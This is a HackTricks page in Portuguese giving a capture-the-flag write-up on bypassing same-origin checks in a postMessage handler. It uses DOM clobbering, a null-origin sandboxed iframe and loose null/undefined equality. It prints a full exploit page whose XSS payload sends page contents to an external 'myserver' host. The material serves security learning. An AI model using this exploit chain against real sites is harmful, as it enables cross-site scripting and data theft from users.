Bypassing SOP with Iframes - 2
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Iframes in SOP-2
Na solução para este desafio, @Strellic_ propõe um método semelhante à seção anterior. Vamos verificar.
Neste desafio, o atacante precisa bypass isto:
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
Se ele fizer isso, ele pode enviar um postmessage com conteúdo HTML que será escrito na página com innerHTML
sem sanitização (XSS).
A maneira de contornar a primeira verificação é tornando window.calc.contentWindow
undefined
e e.source
null
:
window.calc.contentWindow
é na verdadedocument.getElementById("calc")
. Você pode sobrescreverdocument.getElementById
com<img name=getElementById />
(note que a Sanitizer API -aqui- não está configurada para proteger contra ataques de clobbering de DOM em seu estado padrão).- Portanto, você pode sobrescrever
document.getElementById("calc")
com<img name=getElementById /><div id=calc></div>
. Então,window.calc
seráundefined
. - Agora, precisamos que
e.source
sejaundefined
ounull
(porque==
é usado em vez de===
,null == undefined
éTrue
). Conseguir isso é "fácil". Se você criar um iframe e enviar um postMessage dele e imediatamente remover o iframe,e.origin
seránull
. Verifique o seguinte código
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
Para contornar a segunda verificação sobre o token, enviando token
com valor null
e fazendo o valor de window.token
ser undefined
:
- Enviar
token
no postMessage com valornull
é trivial. window.token
ao chamar a funçãogetCookie
que usadocument.cookie
. Note que qualquer acesso adocument.cookie
em páginas de origemnull
aciona um erro. Isso fará com quewindow.token
tenha valorundefined
.
A solução final de @terjanq é a seguinte:
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr)
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.